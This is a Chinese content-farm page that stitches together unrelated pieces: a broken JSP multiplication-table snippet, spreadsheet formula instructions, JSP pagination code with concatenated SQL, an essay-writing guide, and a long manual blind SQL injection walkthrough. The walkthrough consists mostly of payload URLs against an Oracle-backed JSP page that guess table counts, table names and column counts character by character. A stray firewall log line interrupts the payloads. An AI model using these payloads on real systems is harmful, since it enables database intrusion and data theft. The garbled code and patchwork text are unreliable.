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JSP写出九九乘法表（表达式方法和脚本的方法）

时间：2022-08-10 07:31:11 其他范文收藏本文下载本文

JSP写出九九乘法表（表达式方法和脚本的方法）（精选10篇）由网友“附近暖暖”投稿提供，下面是小编为大家整理后的JSP写出九九乘法表（表达式方法和脚本的方法），仅供大家参考借鉴，希望大家喜欢，并能积极分享!

篇1：JSP写出九九乘法表（表达式方法和脚本的方法）

<%@ page language=java import=java.util.* pageEncoding = UTF-8%>

String path = request.getContextPath;

String basePath = request.getScheme()+://+request.getServerName()+:+request.getServerPort()+path+/;

<%!

String printMultiTable1()

{

String s = ;

for(int i = 1; i <= 9; ++i)

{

for(int j = 1; j <= i; ++j)

{

s += i + * + j + = +(i * j)+ ;

}

//换行

s +=

;

}

return s;

}

void printprintMultiTable2(JspWriter out) throws Exception

{

String s = ;

for(int i = 1; i <= 9; ++i)

{

for(int j = 1; j <= i; ++j)

{

out.println(s += i + * + j + = +(i * j)+ );

}

//换行

out.println(

);

}

//表达式方法

九九乘法表

<%= printMultiTable1()%>

//脚本的方法

九九乘法表

<%= printMultiTable()1%>

篇2：WPS表格制作九九乘法表方法

1、建立一个空白表格，在A1输入1，拖动鼠标左I向右至I1、向下至A9，这样A1到I1、A1到A9内就分别输入1到9(如图1)：

图1

2、A10内输入公式“=IF(AND($A1>=A$1,COLUMN()<11,ROW()<19),A$1&“×”&$A1&“=”&$A1*A$1,“”)”

3、鼠标移到A10右下方，出现一个“+”后，拖动鼠标左I向右至I1，然后依此法向下至I18，这样就完成了A10到I18区域内的公式快速复制，

WPS表格制作九九乘法表方法

，

一个九九乘法表就呈现在我们面前了(如图2)：

图2

4、为了美观，我们可以把A1到I9的区域隐藏起来，具体操作如下:选中A1到I9的区域，单击格式菜单，在下拉菜单中选中“行”，在行中单击“隐藏”(如图3)：

图3

公式详解：IF为判断，AND为逻辑与，$A1为绝对列和相对行，A$1为相对列和绝对行，COLUMN()表示列数，ROW()表示行数，“&”是文本连接符。

篇3：JSP中分页方法学习

首先要定义四个变量：

int pageSize:每页显示多少条记录

int pageNow:希望显示第几页

int pageCount:一共有多少页

int rowCount:一共有多少条记录

说明：

pageSize是指定的 pageNow是用户选择的

rowCount是计算出来的该计算式为

if(rowCount%pageSize==0){

pageCount=rowCount/pageSize;

}else{

pageCount=rowCount/pageSize+1;

}

(技巧：

数据库插入：

insert into 表名(字段1，2，，。。)select 字段1,2,...from 表名

)

查询语句

select top pageSize字段名列表from表名where id not in

(select top pageSize*(pageNow-1)id from 表名)

以我们前面的users表为例，显示第二页，该查询语句就是：

select top 3 * from users where userId not in(select top 3 userId from users)

(select top 3 userId from users):选出这个表的前三条前面再选三条

用户信息列表

//定义四个分页会用到的变量

int pageSize=3;

int pageNow=1;//默认显示第一页

int rowCount=0;//该值从数据库中查询

int pageCount=0;//该值是通过pageSize和rowCount

//接受用户希望显示的页数（pageNow）

String s_pageNow=request.getParameter(“pageNow”);

if(s_pageNow!=null){

//接收到了pageNow

pageNow=Integer.parseInt(s_pageNow);

}

//查询得到rowCount

Class.forName(“com.microsoft.jdbc.sqlserver.SQLServerDriver”);

Connection ct=DriverManager.getConnection(“jdbc:microsoft:sqlserver://127.0.0.1:1433;dataBaseName=System”,“sa”,“”);

Statement sm=ct.createStatement;

ResultSet rs=sm.exeuteQuery(“select count(*) form. users ”);

if(rs.next()){

rowCount=rs.getInt(1);

}

//计算pageCount

if(rowCount%pageSize==0){

pageCount=rowCount/pageSize;

}else{

pageCount=rowCount/pageSize+1;

}

//查询出需要显示的记录

rs=sm.exeuteQuery(“select top ”+pageSize

+“ * from users where userId not in(select top ”

+pageSize*(pageNow-1)+“ userId from users) ”);

//显示

用户ID用户名字密码电邮级别

while(rs.next()){

<%=rs.getInt(1)%><%=rs.getString(2)%>

<%=rs.getString(3)%><%=rs.getString(4)%><%=rs.getInt(5)%>

<%}%>

//上一页

if(pageNow!=1){

out.println(“上一页”);

}

//显示超链接

for(int i=1;i<=pageCount;i++){

out.println(“[”+i+“]”);

}

//下一页

if(pageNow!=pageCount){

out.println(“下一页”);

}

篇4：金山WPS表格制作九九乘法表方法

聪明的外甥女学会了九九乘法表，见到我就背给我听，还要我给她打一份大的，因为文具盒里的乘法表太小了。怎么办呢？咱不能打消小孩子学习的积极性吧！

经过几天的调试，我终于用WPS表格做出了九九乘法表。我的做法是这样的：

1、建立一个空白表格，在A1输入1，拖动鼠标左I向右至I1、向下至A9，这样A1到I1、A1到A9内就分别输入1到9(如图1)：

图1

2、A10内输入公式“=IF(AND($A1>=A$1,COLUMN()<11,ROW()<19),A$1&“×”&$A1&“=”&$A1*A$1,“”)”

3、鼠标移到A10右下方，出现一个“+”后，拖动鼠标左I向右至I1，然后依此法向下至I18，这样就完成了A10到I18区域内的公式快速复制。一个九九乘法表就呈现在我们面前了(如图2)：

图2

图3

公式详解：IF为判断，AND为逻辑与，$A1为绝对列和相对行，A$1为相对列和绝对行，COLUMN()表示列数，ROW()表示行数，“&”是文本连接符。

篇5：写出美文的方法

写出美文的方法

－考场作文方法谈

作文要写得好，平时的积累必不可少，但面对广阔的写作天地，面对好的写作材料，如自然景物的千姿百态、社会生活的气象万千、艺术世界的异彩纷呈，如果把这些东西自如地挥洒于笔端，还必须掌握一些写作的规矩和环节，这些规矩和环节包括：写作的准备，打好草稿和修定文稿。

一、写作的准备

（1）拟题。标题的好坏，直接影响到文章的表达效果。题好文一半，好的标题就如同人的眼睛，能够起到画龙点睛的作用，体现出主题的神韵。拟题的方法可根据所给材料或其它内容而定。在日常训练中，人们往往忽略对文章题目的'训练，这其实是一个失误。由于缺乏这种有机的训练，以致于在高考时难以想到完美的题目，且常有考生空缺作文题目，根据评分规定，扣2分，很是可惜。题目虽不求新奇，但要求扣紧话题，精要反映内容，使人一目了然。

（2）构思上力求创新。构思是动笔之前的最重要阶段，也是写作过程是最具创造性的一个环节。考场作文中，大多数考生都是按照定性思维去选材立意、谋篇布局，而只有少数考生才能立意求新、构思求巧，读来让人眼前一亮，因而能够得到阅卷者垂青的也只是这少数的考生，所以当大家在同一起跑线上时，就要求新求巧，精心构思，展示自己的才华，力求胜人一筹。

（3）编写提纲。许多考生在平时写作文时一直没有拟提纲习惯，因而他们写的文章是条理不清，前后不连贯，极大影响了作文的质量。而编写提纲是文章酝酿构思的重要环节，尤其是在写较长的文章或思路不够的时候，编写提纲就更为必要，它可使问题考虑得更加周密思维更条理化，并能使问题及早地暴露，及时得到修正；同时，也能使文章严谨，层次清晰。

二、打好草稿

打草稿最重要的是腹稿.老舍说：要先想想这一段都说什么，把要说的都在心中盘算过，然后再动笔。练习写子最容易犯的毛病，就是有了上句，没有了下句，那是因为不晓得盘算全段儿.老舍所说的心中盘算,就是打腹稿.腹稿的可塑性要比写到纸上的可塑性大,容易修改.胸有成竹,下笔时就会文思泉涌,下笔如有神.

三、修定文稿。

修改文章是文章定稿前必不可少的环节，写完后，只有对文章进行进一步的推敲、润色，才能使文章更趋完美。而文章的修改则主要集中在对内容的进一步修改、结构的调整语言的推敲。

（1）内容决定着文章的成败优劣，所以修改文章时要注意检查内容否充实，细节是否具体生动，材料是否充分。然后根据文章需要进行必要的增删修改，力求做到中心明确，内容充实，细节生动具体，材料充分。

（2）调整结构也是重要的一环，结构对于表现主题有着重要的作用。如果文章结构安排不够，就会影响文章中心的表达。所以在检查修改时一定要注意做文章段落安排顺序合理，符合逻辑，且过渡自然。

（3）推敲语言，要力求准确、生动、传神。在语言时，要注意（1）巧用动词，把事物写活。动词表现物或事物，不仅能够准确、简练、生动、形象，还能够化动为静，化无形为有形，化无声为有声。（2）活用形容词，绘声绘色绘形。灵活运用形容詞能把事物描写得生动而又贴切，能够调动人的视觉、听觉和触觉等多种感觉器官，让人充分感知所描写的对象。（3）多用修辞，尤其是比喻、拟人和排比。比喻能让抽象的事物变得具体，让平淡的事物变得生动，让深奥的理论变得浅显而通俗。拟人的主要作用是化无情为有情，使形象生动，意蕴丰富。排比从来都是一种能让你的作文熠熠生辉、文采顿生的一种修辞。这样的语言形式整齐结构紧凑，气势雄浑、语气连贯，给人一种酣畅淋漓的痛快感

总之，作文的过程，实际上就是合理、正确、巧妙地思维的过程，在这个过程中，组织材料，表现中心，等等，都离不开方法，只要注意了这些方法，在写作时就会收到事半功倍的效果。

篇6：手工注射JSP学习脚本安全

1、判断注入类型（数字型还是字符型）

字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）

www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0)

www.test.net/index_kaoyan_view.jsp?id=117 And userwww.test.net/index_kaoyan_view.jsp?id=117 And user>char(0) And 1=1

www.test.net/index_kaoyan_view.jsp?id=117 And userchar(0) And %25=

www.test.net/index_kaoyan_view.jsp?id=117 And userchar(0) And ( )=(

www.test.net/index_kaoyan_view.jsp?id=117) And userwww.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)

www.test.net/index_kaoyan_view.jsp?id=117 And str(98)

www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97) And 1=1

www.test.net/index_kaoyan_view.jsp?id=117 And str(98)str(97) And %25=

www.test.net/index_kaoyan_view.jsp?id=117 And userwww.test.net/index_kaoyan_view.jsp?id=117 And str(98)str(97) And ( )=(

www.test.net/index_kaoyan_view.jsp?id=117) And str(98)

出现正常的页面：

www.test.net/index_kaoyan_view.jsp?id=117 And USER>CHR(0)

www.test.net/index_kaoyan_view.jsp?id=117 And USER

2、猜解表数量和表名

数据库数量为3：

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And UNISTR(1)>UNISTR(0)

以下为猜解数据表数量

数据表第一位为：1

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))

数据表第二位为：3

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

数据表第三位为：1

www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

共有131个数据表，见上图，

以下为猜解表名称：

以下为判断第一个表的长度为：2

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

以下为判断第一个表的第一位值为：A

www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))

以下为判断第一个表AD的第二位值为：D

www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

以下为判断第二个表的表ADER的表名长度为：4

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 4=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

以下为判断第二个表ADER第一位的值为：A

以下为判断第二个表ADER第二位的值为：D

以下为判断第二个表ADER第三位的值为：E

www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 69=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

以下为判断第二个表ADER第四位的值为：R

www.test.net/index_kaoyan_view.jsp?id=117 And 80=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 80>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

以下为判断第三个表的表名长度为：

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

3、猜解列名长度和列名：

a) 以下为猜解字段长度为：2位

www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

www.test.net/index_kaoyan_view.jsp?id=117 And 2=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

 列名长度为：10位以上

以下猜解列名的长度的第一位为：1（十位）

www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))

以下猜解列名长度的第二位为：0（个位）

www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

Informational 10/12/ 15:03:25 Suspect event: ICMP Time Exceeded (> 1 for 1 seconds)

www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

